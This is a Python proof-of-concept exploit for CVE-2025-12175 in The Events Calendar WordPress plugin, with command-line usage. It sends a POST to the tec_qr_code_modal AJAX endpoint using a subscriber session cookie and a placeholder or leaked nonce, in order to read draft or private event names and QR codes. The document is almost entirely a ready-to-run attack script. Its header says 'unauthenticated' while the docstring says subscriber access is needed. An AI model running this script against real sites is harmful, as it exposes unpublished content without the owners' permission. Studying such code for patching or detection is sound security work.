CVE-2025-12175

import requests import sys # CVE-2025-12175 PoC - The Events Calendar Unauthenticated Event Access # Target: WordPress with The Events Calendar plugin <= 6.15.9 def exploit_cve_2025_12175(target_url, event_id, cookie): """ Exploit the missing capability check on tec_qr_code_modal AJAX endpoint Allows authenticated users (subscriber+) to view draft event names and QR codes """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request data = { 'action': 'tec_qr_code_modal', 'event_id': event_id, # Target event ID (can be draft/private) 'nonce': 'dummy_or_leaked_nonce' # May not be properly validated } headers = { 'Cookie': cookie, # Valid session cookie for subscriber account 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: # Check if we got event data (including draft events) if 'event' in response.text.lower() or 'qr' in response.text.lower(): print(f"[!] Successfully accessed event ID: {event_id}") print(f"[+] Response preview: {response.text[:500]}") return True else: print(f"[*] Request sent but no event data returned for ID: {event_id}") else: print(f"[*] Request failed with status: {response.status_code}") except requests.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python cve_2025_12175.py <target_url> <event_id> <cookie>") print("Example: python cve_2025_12175.py http://example.com 123 'wordpress_logged_in_xxx=yyy'") sys.exit(1) target = sys.argv[1] event_id = sys.argv[2] cookie = sys.argv[3] print(f"[*] Exploiting CVE-2025-12175 on {target}") print(f"[*] Target event ID: {event_id}") exploit_cve_2025_12175(target, event_id, cookie)

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